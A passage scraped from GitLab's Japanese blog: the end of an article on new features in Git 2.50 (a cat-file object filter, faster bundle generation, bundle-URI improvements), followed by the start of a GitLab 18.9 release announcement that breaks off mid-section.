シンプルなリポジトリを設定します。\n$ git init\n$ echo foo >foo\n$ git add foo\n$ git commit -m init\n\n# 到達不能なオブジェクトを作成します。\n$ git commit --amend --no-edit\n\n# git-cat-file(1)を使用して、到達不能なオブジェクトを含むすべてのオブジェクトに関する情報を出力します。\n$ git cat-file --batch-all-objects --batch-check='%(objecttype) %(objectname)'\ncommit 0b07e71d14897f218f23d9a6e39605b466454ece\ntree 205f6b799e7d5c2524468ca006a0131aa57ecce7\nblob 257cc5642cb1a054f08cc83f2d943e56fd3ebe99\ncommit c999f781fd7214b3caab82f560ffd079ddad0115\n```\n\n状況によっては、リポジトリ内のすべてのオブジェクトを検索し、\n特定の属性に基づいて一部のオブジェクトだけを出力したい場合があります。\nたとえば、コミットオブジェクトだけを表示したいときは、\n`grep(1)`を使って以下のように実行できます。\n\n```shell\n$ git cat-file --batch-all-objects --batch-check='%(objecttype) %(objectname)' | grep ^commit\ncommit 0b07e71d14897f218f23d9a6e39605b466454ece\ncommit c999f781fd7214b3caab82f560ffd079ddad0115\n```\n\nこの方法でも目的は達成できますが、出力のフィルタリングには欠点があります。\nそれは、`git-cat-file(1)`が\nユーザーが関心を持っていないオブジェクトも含め、リポジトリ内のすべてのオブジェクトをたどらなければならない点です。これはかなり非効率です。\n\n今回のリリースでは、`git-cat-file(1)`に`--filter`オプションが追加され、\n指定した条件に一致するオブジェクトだけを表示できるようになりました。これは`git-rev-list(1)`にある同名のオプションと似ていますが、\n対応しているフィルターの種類はその一部に限られています。\n対応しているフィルターは`blob:none`、`blob:limit=`および\n`object:type=`です。先ほどの例と同様に、オブジェクトはGitを使用して直接\n種類でフィルタリングできます。\n\n```shell\n$ git cat-file --batch-all-objects --batch-check='%(objecttype) %(objectname)' --filter='object:type=commit'\ncommit 0b07e71d14897f218f23d9a6e39605b466454ece\ncommit c999f781fd7214b3caab82f560ffd079ddad0115\n```\n\nGitに処理を任せられるのは便利なだけでなく、オブジェクト数の多い大規模なリポジトリにおいては\n効率面のメリットも期待できます。\nリポジトリにビットマップインデックスがある場合、\nGitが特定の種類のオブジェクトを効率的に検索できるようになり、パックファイル全体をスキャンする必要がなくなるため、\n処理速度が大幅に向上します。\n[Chromiumリポジトリ](https://github.com/chromium/chromium.git)で行われた\nベンチマークでは、こうした最適化による大きな改善が確認されています。\n\n```text\nBenchmark 1: git cat-file --batch-check --batch-all-objects --unordered --buffer --no-filter Time (mean ± σ):     82.806 s ±  6.363 s    [User: 30.956 s, System: 8.264 s] Range (min … max):   73.936 s … 89.690 s    10 runs\nBenchmark 2: git cat-file --batch-check --batch-all-objects --unordered --buffer --filter=object:type=tag Time (mean ± σ):      20.8 ms ±   1.3 ms    [User: 6.1 ms, System: 14.5 ms] Range (min … max):    18.2 ms …  23.6 ms    127 runs\nBenchmark 3: git cat-file --batch-check --batch-all-objects --unordered --buffer --filter=object:type=commit Time (mean ± σ):      1.551 s ±  0.008 s    [User: 1.401 s, System: 0.147 s] Range (min … max):    1.541 s …  1.566 s    10 runs\nBenchmark 4: git cat-file --batch-check --batch-all-objects --unordered --buffer --filter=object:type=tree Time (mean ± σ):     11.169 s ±  0.046 s    [User: 10.076 s, System: 1.063 s] Range (min … max):   11.114 s … 11.245 s    10 runs\nBenchmark 5: git cat-file --batch-check --batch-all-objects --unordered --buffer --filter=object:type=blob Time (mean ± σ):     67.342 s ±  3.368 s    [User: 20.318 s, System: 7.787 s] Range (min … max):   62.836 s … 73.618 s    10 runs\nBenchmark 6: git cat-file --batch-check --batch-all-objects --unordered --buffer --filter=blob:none Time (mean ± σ):     13.032 s ±  0.072 s    [User: 11.638 s, System: 1.368 s] Range (min … max):   12.960 s … 13.199 s    10 runs\nSummary git cat-file --batch-check --batch-all-objects --unordered --buffer --filter=object:type=tag 74.75 ± 4.61 times faster than git cat-file --batch-check --batch-all-objects --unordered --buffer --filter=object:type=commit 538.17 ± 33.17 times faster than git cat-file --batch-check --batch-all-objects --unordered --buffer --filter=object:type=tree 627.98 ± 38.77 times faster than git cat-file --batch-check --batch-all-objects --unordered --buffer --filter=blob:none 3244.93 ± 257.23 times faster than git cat-file --batch-check --batch-all-objects --unordered --buffer --filter=object:type=blob 3990.07 ± 392.72 times faster than git cat-file --batch-check --batch-all-objects --unordered --buffer --no-filter ```\n\n興味深いことに、これらの結果からは、処理時間がパックファイル内の総オブジェクト数ではなく、\n指定された種類のオブジェクト数に比例して増減することが示されています。\n元のメーリングリストのスレッドは、\n[こちら](https://lore.kernel.org/git/20250221-pks-cat-file-object-type-filter-v1-0-0852530888e2@pks.im/)でご覧いただけます。\n\n_このプロジェクトは[Patrick Steinhardt](https://gitlab.com/pks-gitlab)が主導しました。_\n\n## バンドル生成時のパフォーマンスが向上\n\nGitには、指定した参照とそれに関連する到達可能なオブジェクトを含むリポジトリのアーカイブを生成する機能があります。\n具体的には、\n[`git-bundle(1)`](https://git-scm.com/docs/git-bundle)コマンドを使用します。この操作は、\nGitLabがリポジトリのバックアップを作成する際や、\n[バンドルURI](https://git-scm.com/docs/bundle-uri)メカニズムの一部としても使用されます。\n\n何百万もの参照を含む大規模なリポジトリでは、\nこの操作に数時間から数日かかることもあります。たとえば、GitLabのメインリポジトリ\n（[gitlab-org/gitlab](https://gitlab.com/gitlab-org/gitlab)）では、\nバックアップに約48時間を要していました。調査の結果、バンドルに重複した参照が含まれないようにチェックする処理において、\nパフォーマンスのボトルネックが存在することが判明しました。\nこの実装では、すべての参照をイテレーションして比較するために入れ子の`for`loopが使われており、\n時間計算量はO(N^2)となっていました。これは、\nリポジトリ内の参照数が増えるほど、処理性能が大きく低下する構造です。\n\n今回のリリースでは、この問題に対応し、\nネストされたloopをマップ型のデータ構造に置き換えることで、処理速度が大幅に向上しました。以下は、\n10万件の参照を含むリポジトリでバンドルを作成した際のパフォーマンス改善を\n示すベンチマーク結果です。\n\n```text\nBenchmark 1: bundle (refcount = 100000, revision = master) Time (mean ± σ):     14.653 s ±  0.203 s    [User: 13.940 s, System: 0.762 s] Range (min … max):   14.237 s … 14.920 s    10 runs\nBenchmark 2: bundle (refcount = 100000, revision = HEAD) Time (mean ± σ):      2.394 s ±  0.023 s    [User: 1.684 s, System: 0.798 s] Range (min … max):    2.364 s …  2.425 s    10 runs\nSummary bundle (refcount = 100000, revision = HEAD) ran 6.12 ± 0.10 times faster than bundle (refcount = 100000, revision = master) ```\n\n詳しくは、\n[GitLabがリポジトリのバックアップ時間を48時間から41分に短縮した方法](https://about.gitlab.com/blog/how-we-decreased-gitlab-repo-backup-times-from-48-hours-to-41-minutes/)を紹介するブログ記事をご覧ください。\n元のメーリングリストのスレッドは\n[こちら](https://lore.kernel.org/git/20250401-488-generating-bundles-with-many-references-has-non-linear-performance-v1-0-6d23b2d96557@gmail.com/)でご覧いただけます。\n\n_このプロジェクトは[Karthik Nayak](https://gitlab.com/knayakgl)が主導しました。_\n\n## バンドルURIのアンバンドルの改善\n\nGitの[バンドルURI](https://git-scm.com/docs/bundle-uri)メカニズムは、\nフェッチするバンドルの場所をクライアントに提供することで、クローンやフェッチの速度を\n向上させることを目的としています。クライアントがバンドルをダウンロードすると、\n`refs/heads/*`以下の参照が、その関連オブジェクトとともにバンドルから\nリポジトリにコピーされます。バンドルには`refs/tags/*`のように\n`refs/heads/*`以外の参照も含まれていることがありますが、\nこれらはクローン時にバンドルURIを使用する場合、単に無視されていました。\n\nGit 2.50ではこの制限が解除され、\nダウンロードされたバンドルに含まれる`refs/*`に一致するすべての参照がコピーされるようになりました。\nこの機能を実装した[Scott Chacon](https://github.com/schacon)さんは、\n[gitlab-org/gitlab-foss](https://gitlab.com/gitlab-org/gitlab-foss)をクローンした際の\n挙動の違いを紹介しています。\n\n```shell\n$ git-v2.49 clone --bundle-uri=gitlab-base.bundle https://gitlab.com/gitlab-org/gitlab-foss.git gl-2.49\nCloning into 'gl2.49'...\nremote: Enumerating objects: 1092703, done.\nremote: Counting objects: 100% (973405/973405), done.\nremote: Compressing objects: 100% (385827/385827), done.\nremote: Total 959773 (delta 710976), reused 766809 (delta 554276), pack-reused 0 (from 0)\nReceiving objects: 100% (959773/959773), 366.94 MiB | 20.87 MiB/s, done.\nResolving deltas: 100% (710976/710976), completed with 9081 local objects.\nChecking objects: 100% (4194304/4194304), done.\nChecking connectivity: 959668, done.\nUpdating files: 100% (59972/59972), done.\n\n$ git-v2.50 clone --bundle-uri=gitlab-base.bundle https://gitlab.com/gitlab-org/gitlab-foss.git gl-2.50\nCloning into 'gl-2.50'...\nremote: Enumerating objects: 65538, done.\nremote: Counting objects: 100% (56054/56054), done.\nremote: Compressing objects: 100% (28950/28950), done.\nremote: Total 43877 (delta 27401), reused 25170 (delta 13546), pack-reused 0 (from 0)\nReceiving objects: 100% (43877/43877), 40.42 MiB | 22.27 MiB/s, done.\nResolving deltas: 100% (27401/27401), completed with 8564 local objects.\nUpdating files: 100% (59972/59972), done.\n```\n\nこれらの結果を比較すると、Git 2.50はバンドル展開後に43,887個（40.42 MiB）のオブジェクトをフェッチしているのに対し、\nGit 2.49は合計で959,773個（366.94 MiB）のオブジェクトをフェッチしています。\nGit 2.50では、取得されるオブジェクト数が約95%、\nデータ量が約90%削減されており、クライアントとサーバーの双方にとってメリットがあります。\nサーバー側ではクライアントに送信するデータ量が大幅に減り、\nクライアント側でもダウンロードおよび展開するデータが少なくて済みます。Chaconさんの提供した例では、\nこれによって処理速度が25%向上しました。\n\n詳細については、\n該当する[メーリングリストのスレッド](https://lore.kernel.org/git/pull.1897.git.git.1740489585344.gitgitgadget@gmail.com/)をご覧ください。\n\n_この一連のパッチは、[Scott Chacon](https://github.com/schacon)さんによって提供されました。_\n\n## 詳細はこちら\n\n本記事でご紹介したのは、最新リリースにおいてGitLabと広範なGitコミュニティによって行われた\nコントリビュートのごく一部にすぎません。Gitプロジェクトの[公式リリースのお知らせ](https://lore.kernel.org/git/xmqq1prj1umb.fsf@gitster.g/)では、\nさらに詳しい情報をご覧になれます。また、\n[以前のGitリリースのブログ記事](https://about.gitlab.com/blog/tags/git/)もぜひご覧ください。GitLabチームメンバーによる過去の主なコントリビュートをご確認いただけます。\n","2025-06-16",[980,1069,242],{"featured":13,"template":784,"slug":1083},"what-s-new-in-git-2-50-0",{"category":70,"slug":746,"posts":1085},[1086,1097,1109],{"content":1087,"config":1095},{"heroImage":1088,"body":1089,"authors":1090,"updatedDate":1091,"date":832,"title":1092,"tags":1093,"description":1094,"category":746},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1771384863/o1x0dquocjay8pny2i6i.png","本ブログは、[GitLab 18.9 Release](https://about.gitlab.com/releases/2026/02/19/gitlab-18-9-released/)の抄訳です。内容に相違がある場合は、原文が優先されます。\n\n## セルフホスト型AIモデルを搭載したGitLab 18.9をリリース\n\nこのたび、GitLab 18.9のリリースをお知らせします。今回のリリースでは、クラウドライセンス向けにGitLab Duo Agent Platformのセルフホストモデルが一般提供を開始しました。そのほか、GitLab Duo Agent Platformによる脆弱性の修正、折りたたみ可能なファイルツリーによるリポジトリナビゲーション、ファイルからのCI/CDインプットのインクルードなど、多数の機能が追加されています。\n\nGitLab Duoを初めてお使いの方へ：GitLab Duo Agent Platformが利用できるUltimateの無料トライアルが、GitLab.comおよびGitLab Self-Managedの両方でご利用いただけるようになりました。\n\n今回ご紹介した機能は、GitLab 18.9における25件以上の改善点のほんの一部です。以下で、すべての新機能と改善点をご確認ください。\n\nGitLabコミュニティの皆さま、GitLab 18.9に530件以上のコントリビュートをお寄せいただき、誠にありがとうございます。「誰もがコントリビュートできる」—これがGitLabの理念です。皆さまのご貢献があってこそのリリースです。\n\nGitLab 18.9には、GitLabコミュニティのユーザーから530件ものコントリビュートがありました。ありがとうございました！GitLabは[誰もがコントリビュートできる](https://about.gitlab.com/community/contribute/)プラットフォームであり、今回のリリースはユーザーのみなさまの協力なしには実現しませんでした。\n\n来月のリリースで予定されている内容を先取りするには、[What’s newページ](https://about.gitlab.com/releases/whats-new/)をご覧ください。\n\n![notable-contributor-logo](https://about.gitlab.com/images/notable-contributor-logo.svg)\n\n## **今月の[注目コントリビューター](https://contributors.gitlab.com/docs/notable-contributors)は、[Pooja Ghanghas](https://gitlab.com/poojaghanghas479)さんです。**\n\nPoojaさんは、GitLabにおけるレガシーのドロップダウンコンポーネントをモダンなアーキテクチャへ移行する取り組みに継続的に貢献されています。この移行作業は、旧来と新しいコンポーネントシステムの双方を深く理解した上で、細部にまで注意を払う必要があります。[差分ファイルヘッダー](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/189621)、[コードブロックのバブルメニュー](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/194129)、[オンコールスケジュールのローテーション担当者コンポーネント](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/186247)、[新しいリソースドロップダウン](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/209598)など、複数の移行にわたって一貫して高品質な成果物を届けてくれました。\n\n[Peter Hegma](https://gitlab.com/peterhegman)（GitLab Tenant Scale::Organizationsのスタッフフロントエンドエンジニア）は、Poojaさんをこの表彰に推薦し、「これらの移行はかなり難しい作業です。それを数多くこなしてくれました。コントリビュートに心から感謝します」と述べています。\n\n移行作業に加え、Poojaさんは[マイルストーンやイテレーションへのステータス追加](https://gitlab.com/gitlab-org/gitlab/-/issues/524100)という機能開発にも取り組み、マージに向けて多大な努力を重ねました。[Marc Saleiko](https://gitlab.com/msaleiko)（GitLab Plan:Project Managementのスタッフフルスタックエンジニア）は「これは価値あるコントリビュートであり、この機能の提供をすばらしい形でやり遂げてくれました」と評価しています。Poojaさん自身も「仕上がりを誇りに思っており、大きな学びになりました」と振り返っています。\n\nさらに、コードベース全体にわたる多数のバグ修正やメンテナンス改善にも貢献しています。これらの取り組みはGitLabのユーザーインターフェースの保守性と一貫性を高め、コントリビューターとチームメンバーの双方が機能を構築・維持しやすい環境づくりに直結しています。GitLabフロントエンドアーキテクチャを着実に前進させてくれているPoojaさんに、心より感謝申し上げます。\n\nPoojaさんのコントリビュートの詳細については、[GitLabプロフィール](https://gitlab.com/poojaghanghas479)をご覧ください。\n\n## GitLab 18.9の主要な改善点\n\n### GitLab Duo Agent Platformのセルフホストモデル、クラウドライセンス向けに一般提供開始\n\n> Self-Managed: Premium、Ultimate\n\nGitLab Duo Agent Platformが、クラウドライセンスをお持ちのGitLab Self-Managedのお客様向けに一般提供開始（GA）となりました。課金は[使用量ベース](https://docs.gitlab.com/ja-jp/subscriptions/gitlab_credits/)です。\n\n管理者は、GitLab Duo Agent Platformで使用する[互換モデル](https://docs.gitlab.com/ja-jp/administration/gitlab_duo_self_hosted/supported_models_and_hardware_requirements/#compatible-models)を設定できます。AWS BedrockまたはAzure OpenAIをご利用の場合は、Anthropic ClaudeまたはOpenAI GPTモデルの設定も可能です。\n\nまだUltimateをご利用でない方は、[Duo Agent Platformが利用できる無料トライアル](https://about.gitlab.com/releases/2026/02/19/gitlab-18-9-released/#gitlab-duo-agent-platform-available-in-ultimate-trials)をお試しください[](https://about.gitlab.com/releases/2026/02/19/gitlab-18-9-released/#gitlab-duo-agent-platform-available-in-ultimate-trials)。\n\n[ドキュメント](https://docs.gitlab.com/ja-jp/administration/gitlab_duo_self_hosted/#gitLab-duo-agent-platform)\\\n[エピック](https://gitlab.com/groups/gitlab-org/-/work_items/20949)\n\n![ai-powered-selfhosted-duo-agent-platform](https://about.gitlab.com/images/18_9/ai-powered-selfhosted-duo-agent-platform.png)\n\n### GitLab Duo Agent Platformによる脆弱性の修正（ベータ版）\n\n> GitLab.com: Ultimate\\\n> Self-Managed: Ultimate\\\n> GitLab Dedicated: Ultimate\\\n> GitLab Dedicated for Government: Ultimate\n\nアプリケーションセキュリティにおいて、SASTの脆弱性のトリアージと修正は特に時間を要する作業の一つです。脆弱性を特定した後、開発者は検出内容を理解し、影響箇所を特定して適切な修正を実装しなければなりません。いずれのステップにも、時間と専門知識が必要です。\n\nGitLab 18.9では、エージェント型のSAST脆弱性修正機能を導入します。修正をトリガーすると、GitLab Duoは自律的に検出内容を分析し、周辺のコードコンテキストを推論して、コンテキストに即した修正を生成します。マージリクエストの作成まで、手動の介入は不要です。\n\n**主な機能：**\n\n* **エージェント型マルチステップ修正**：単一のコード提案ではなく、GitLab Duo Agent Platformが脆弱性を推論してコードベースを評価し、根拠のある修正を生成します。\n* **マージリクエストの自動作成**：重大度が「Critical」および「High」のSAST脆弱性に対して、提案されたコード修正を含むレビュー可能なマージリクエストを自動生成します。\n* **品質スコアリング**：生成された修正には品質評価が付与され、レビュアーが提案の信頼度を素早く判断できます。\n\n本機能は、脆弱性レポートおよび個別の脆弱性詳細ページから利用できます。詳細ページから直接修正をトリガーすることも可能です。\n\nUltimateのお客様向けに無料ベータ版として提供しています。[イシュー585626](https://gitlab.com/gitlab-org/gitlab/-/work_items/585626)よりフィードバックをお寄せください。\n\n[ドキュメント](https://docs.gitlab.com/ja-jp/administration/gitlab_duo_self_hosted/#gitLab-duo-agent-platform)\\\n[エピック](https://gitlab.com/groups/gitlab-org/-/work_items/20949)\n\n![sast_vulnerability_resolution_with_duo](https://about.gitlab.com/images/18_9/sast_vulnerability_resolution_with_duo.png)\n\n### 折りたたみ可能なファイルツリーによるリポジトリのナビゲーション\n\n> GitLab.com: Free、Premium、Ultimate\\\n> Self-Managed: Free、Premium、Ultimate\\\n> GitLab Dedicated: Ultimate\\\n> GitLab Dedicated for Government: Ultimate\n\n折りたたみ可能なファイルツリーで、リポジトリのファイルを効率よく閲覧できるようになりました。プロジェクト構造を俯瞰しながら、ディレクトリをインラインで展開・折りたたんだり、リポジトリ内の離れた場所にあるファイルへ素早く移動したりすることができます。作業中のコンテキストを保ちながらナビゲーションできる点も特長です。\n\nファイルツリーは、リポジトリのファイルやディレクトリを表示する際にサイドバーとして表示されます。幅は自由に調整可能で、キーボードショートカットで表示・非表示を切り替えたり、名前や拡張子でファイルを絞り込んだりすることもできます。ファイルツリーは常に現在の場所と同期しており、メインエリアでファイルを選択すると、そのファイルが表示されるようにツリーが更新されます。\n\n既存のリポジトリ構造やファイル構成に変更はありません。ファイル間の移動に必要なページ読み込み回数が減るため、小規模プロジェクトから数千のファイルを持つ大規模コードベースまで快適に利用できます。\n\n[ドキュメント](https://docs.gitlab.com/ja-jp/user/project/repository/files/file_tree_browser/)\\\n[エピック](https://gitlab.com/groups/gitlab-org/-/epics/17781)\n\n![create-repository-file-tree-navigation](https://about.gitlab.com/images/18_9/create-repository-file-tree-navigation.png)\n\n### ファイルからのCI/CDインプットのインクルード\n\n> GitLab.com: Free、Premium、Ultimate\\\n> Self-Managed: Free、Premium、Ultimate\\\n> GitLab Dedicated: Ultimate\\\n> GitLab Dedicated for Government: Ultimate\n\nこれまで、パイプラインのCI/CDインプットはパイプラインの`spec`セクション内に直接定義する必要がありました。この制約により、インプット設定を複数のプロジェクトで再利用することが難しい状況でした。\n\n今回のリリースから、使い慣れた`include`キーワードを使って外部ファイルからインプット定義を読み込めるようになりました。インプットの定義を一箇所にまとめて管理できるため、多数のプロジェクトやパイプラインをまたいだ運用が格段に楽になります。インプット設定の一元管理はもちろん、外部ソースからインプット値を動的に制御することも可能です。\n\n[ドキュメント](https://docs.gitlab.com/ja-jp/ci/inputs/#use-inputs-from-external-files)\\\n[イシュー](https://gitlab.com/gitlab-org/gitlab/-/issues/415636)\n\n![inputs_file](https://about.gitlab.com/images/18_9/inputs_file.png)\n\n### GitLab.comにおけるWebベースのコミット署名\n\n> GitLab.com: Free、Premium、Ultimate\n\nコードの整合性を保ち、コンプライアンス要件を満たすためには、コミットへの暗号化署名が欠かせません。これまでWebベースのコミット署名はGitLab Self-Managedでのみ利用可能でしたが、今回GitLab.comでもサポートされるようになりました。\n\nグループまたはプロジェクトで有効にすると、GitLabのWebインターフェース経由で作成されたコミットにGitLabの署名キーが自動的に付与され、**検証済み**バッジが表示されます。リポジトリの真正性を暗号学的に証明できます。\n\n**主な詳細：**\n\n* グループまたはプロジェクトの設定から、要件に合わせて有効化できます。\n* 有効にすると、Web IDEでの編集、マージ、API操作などすべてのWebベースのコミットが自動的に署名されます。\n* GitLab.comのセキュリティ機能がGitLab Self-Managedと同等になり、組織全体への包括的なコミット署名ポリシー適用の基盤が整います。\n\n[ドキュメント](https://docs.gitlab.com/ja-jp/user/project/repository/signed_commits/web_commits/)\\\n[エピック](https://gitlab.com/groups/gitlab-org/-/work_items/17775)\n\n![create-web-commit-signing-gitlab-com](https://about.gitlab.com/images/18_9/create-web-commit-signing-gitlab-com.png)\n\n### コンテナ仮想レジストリが利用可能に（ベータ版）\n\n> GitLab.com: Premium、Ultimate\\\n> Self-Managed: Premium、Ultimate\n\nモダンなコンテナ開発では、Docker Hub、Harbor、Quayといった複数のレジストリやプライベートレジストリからイメージを取得する必要があります。コンテナ仮想レジストリがない場合、プラットフォームエンジニアはプロジェクトとCI/CDパイプラインごとに個別の認証設定を行わなければならず、設定の複雑化やプル速度の低下、セキュリティポリシーの不統一といった課題が生じます。\n\nコンテナ仮想レジストリは、複数の上流レジストリを単一のエンドポイントに集約することで、これらの課題を解消します。Docker Hub、Harbor、Quayなどを1つのURLで管理でき、長期間有効なトークン認証も一元的に設定できます。インテリジェントなキャッシングによりプルのパフォーマンスが向上し、GitLabの認証システムとの統合によってアクセス制御と監査ログも一元化されます。\n\nコンテナ仮想レジストリAPIは現在、GitLab PremiumおよびUltimateのお客様向けにベータ版として提供されています。ベータ版では、GitLab APIを使ったコンテナ仮想レジストリの作成、共有可能な設定での複数上流ソースの追加、仮想レジストリ経由でのコンテナイメージの取得が可能です。なお、IAM認証が必要なレジストリは現時点では未対応です。クラウドプロバイダーのIAM認証対応については、こちらのエピックで進捗を追跡しています。\n\n[GitLab.com](http://gitlab.com)では、この機能はフィーチャーフラグで管理されています。アクセスのリクエストやフィードバックは、フィードバックイシューへのコメントでお寄せください。\n\n[ドキュメント](https://docs.gitlab.com/ja-jp/user/packages/virtual_registry/container/)\\\n[エピック](https://gitlab.com/groups/gitlab-org/-/work_items/20820)\n\n\u003Ciframe width=\"560\" height=\"315\" src=\"https://www.youtube.com/embed/HD8dS8oeDQA?si=PPZyB1bSg8xu4E8y\" title=\"YouTube video player\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" allowfullscreen>\u003C/iframe>\n\n## GitLab 18.9のその他の改善点\n\n### Rapid Diffsによるコミット変更のパフォーマンス改善\n\n> GitLab.com: Free、Premium、Ultimate\\\n> Self-Managed: Free、Premium、Ultimate\\\n> GitLab Dedicated: Ultimate\\\n> GitLab Dedicated for Government: Ultimate\n\n変更ファイルが多かったり変更量が大きかったりするコミットのレビューは、これまで時間がかかることがありました。Rapid Diffs技術がコミットページ（`/-/commits/\u003CSHA>`）にも適用され、ページの読み込み速度の向上、スムーズなスクロール、よりレスポンシブな操作感を実現しています。\n\nRapid Diffsでは、以下の点が改善されています。\n\n* ページネーションが不要になり、連続してレビューできます。\n* 初期読み込みが高速化され、すぐにコードの確認を始められます。\n* 新しいファイルブラウザを搭載したインターフェースで、ファイル間のナビゲーションが快適になりました。\n* 変更ファイルが多い場合でも、レスポンシブな操作感を維持します。\n\n既存の機能はすべて引き続き利用できます。Rapid DiffsがGitLabのほかのエリアにも順次展開されるにつれ、同様のパフォーマンス向上がもたらされる予定です。\n\n[ドキュメント](https://docs.gitlab.com/ja-jp/user/project/repository/commits/)\\\n[エピック](https://gitlab.com/groups/gitlab-org/-/work_items/17804)\n\n### インポートAPIでのBitbucket Cloud APIトークンのサポート\n\n> GitLab.com: Free、Premium、Ultimate\\\n> Self-Managed: Free、Premium、Ultimate\\\n> GitLab Dedicated: Ultimate\\\n> GitLab Dedicated for Government: Ultimate\n\nGitLabのインポートAPIがBitbucket Cloud APIトークンに対応しました。Bitbucket Cloudからのリポジトリインポートを、より安全な方法で行えるようになります。\n\n[AtlassianはアプリパスワードをAPIトークンに移行する方針](https://www.atlassian.com/blog/bitbucket/bitbucket-cloud-transitions-to-api-tokens-enhancing-security-with-app-password-deprecation)を打ち出しており、GitLabでも19.0にてアプリパスワードのサポートを終了する予定です。\n\nなお、GitLab UIからBitbucket Cloudへのインポートは、この変更の影響を受けません。\n\n[ドキュメント](https://docs.gitlab.com/ja-jp/api/import/#import-repository-from-bitbucket-cloud)\\\n[イシュー](https://gitlab.com/gitlab-org/gitlab/-/work_items/575583)\n\n### CI/CDカタログのコンポーネント分析\n\n> GitLab.com: Free、Premium、Ultimate\\\n> Self-Managed: Free、Premium、Ultimate\\\n> GitLab Dedicated: Ultimate\\\n> GitLab Dedicated for Government: Ultimate\n\nこれまで、CI/CDカタログのコンポーネントプロジェクトが組織内でどのように利用されているかを把握する手段がありませんでした。利用数や導入状況をハイレベルで確認できるようになり、どのコンポーネントプロジェクトが最も価値をもたらしているかを把握し、カタログへの投資を最適化するための判断材料として活用できます。\n\n[ドキュメント](https://docs.gitlab.com/ja-jp/ci/components/#view-catalog-resource-analytics)\\\n[イシュー](https://gitlab.com/gitlab-org/gitlab/-/issues/579458)\n\n![catalog](https://about.gitlab.com/images/18_9/catalog.png)\n\n### マージリクエストで子パイプラインのセキュリティレポートを表示\n\n> GitLab.com: Free、Premium、Ultimate\\\n> Self-Managed: Free、Premium、Ultimate\\\n> GitLab Dedicated: Ultimate\\\n> GitLab Dedicated for Government: Ultimate\n\nマージリクエストのウィジェットから、子パイプラインのセキュリティ・コンプライアンスレポートを直接確認できるようになりました。これまでは複数のパイプラインを手動で確認する必要があり、モノレポや複雑なテスト構成では非効率でした。\n\n今回の改善により、マージリクエストウィジェットに子パイプラインのレポートが親パイプラインの結果と並んで表示されます。各子パイプラインのレポートは個別に表示され、アーティファクトのダウンロードも可能です。すべてのセキュリティチェックを一元的に確認できるため、問題の調査にかかる時間が大幅に短縮され、親子パイプラインを使った開発でのマージリクエストレビューをスムーズに進められます。\n\n[ドキュメント](https://docs.gitlab.com/ja-jp/ci/pipelines/downstream_pipelines/#view-child-pipeline-reports-in-merge-requests)\\\n[エピック](https://gitlab.com/groups/gitlab-org/-/epics/18377)\n\n![show_security_report_child_pipelines_in_mr](https://about.gitlab.com/images/18_9/show_security_report_child_pipelines_in_mr.png)\n\n### SBOMを使用した依存関係スキャンで Python `requirements.txt` マニフェストファイルに対応\n\n> GitLab.com: Ultimate\\\n> Self-Managed: Ultimate\\\n> GitLab Dedicated: Ultimate\\\n> GitLab Dedicated for Government: Ultimate\n\n[SBOMを使用したGitLabの依存関係スキャン](https://docs.gitlab.com/ja-jp/user/application_security/dependency_scanning/dependency_scanning_sbom/)が、Pythonの`requirements.txt`マニフェストファイルのスキャンに対応しました。これまでPythonプロジェクトの依存関係スキャンにはロックファイルが必要でしたが、ロックファイルが存在しない場合、アナライザーが自動的に`requirements.txt`ファイルへのフォールバックを行い、直接依存関係のみを抽出して脆弱性分析の対象とするようになりました。ロックファイルなしでも依存関係スキャンを有効化しやすくなります。\n\nマニフェストへのフォールバックを有効にするには、CI/CD変数`DS_ENABLE_MANIFEST_FALLBACK`を`\"true\"`に設定してください。\n\n[ドキュメント](https://docs.gitlab.com/ja-jp/user/application_security/dependency_scanning/dependency_scanning_sbom/#manifest-fallback)\\\n[イシュー](https://gitlab.com/gitlab-org/gitlab/-/issues/586921)\n\n### セキュリティ属性\n\n> GitLab.com: Ultimate\\\n> Self-Managed: Ultimate\\\n> GitLab Dedicated: Ultimate\\\n> GitLab Dedicated for Government: Ultimate\n\n[GitLab 18.6でベータ版として導入されたセキュリティ属性](https://about.gitlab.com/releases/2025/11/20/gitlab-18-6-released/#security-attributes-beta)が、一般提供開始（GA）となりました。\n\nセキュリティ属性を使うと、セキュリティチームはプロジェクトにビジネスコンテキストを付与できます。対象となる属性は、ビジネスへの影響度、アプリケーション、ビジネスユニット、インターネット公開状況、所在地などです。また、組織独自の分類体系に合わせたカスタム属性カテゴリの作成も可能です。これらの属性を活用することで、リスクポジションや組織コンテキストに基づいてセキュリティインベントリ内の項目をフィルタリング・優先順位付けできます。\n\n[ドキュメント](https://docs.gitlab.com/ja-jp/user/application_security/attributes/)\\\n[エピック](https://gitlab.com/groups/gitlab-org/-/epics/19597)\n\n![security-attributes](https://about.gitlab.com/images/18_9/security-attributes.png)\n\n[](https://gitlab.com/groups/gitlab-org/-/epics/19597)\n\n### GitLab Duo Agent PlatformがUltimateトライアルで利用可能に\n\n> GitLab.com: Ultimate\\\n> Self-Managed: Ultimate\n\nGitLabを評価中のチームが、複雑な開発ワークフローの自動化や手動タスクの削減を実現するエージェント型AI機能を試せるようになりました。GitLab Ultimateのトライアルに申し込むと、ユーザーあたり24評価クレジット付きでDuo Agent Platformにアクセスでき、30日間の評価期間中に自律的なタスク実行やマルチステップのワークフローオーケストレーションを実際に体験できます。評価クレジットはプロビジョニング日から30日間有効です。開始前にチームの準備状況をご確認ください。\n\n[こちらから無料トライアルを開始できます。](https://gitlab.com/-/trial_registrations/new)現在の有料カスタマーは、担当アカウントチームを通じて評価クレジットを取得できます。詳細は[セールスチーム](https://about.gitlab.com/ja-jp/sales/)にお問い合わせください。\n\n[ドキュメント](https://docs.gitlab.com/ja-jp/subscriptions/free_trials/#gitlab-duo-agent-platform-trials)\\\n[エピック](https://gitlab.com/groups/gitlab-org/-/epics/20353)\n\n### グループとそのコンテンツのアーカイブ\n\n> GitLab.com: Free、Premium、Ultimate\\\n> Self-Managed: Free、Premium、Ultimate\\\n> GitLab Dedicated: Ultimate\\\n> GitLab Dedicated for Government: 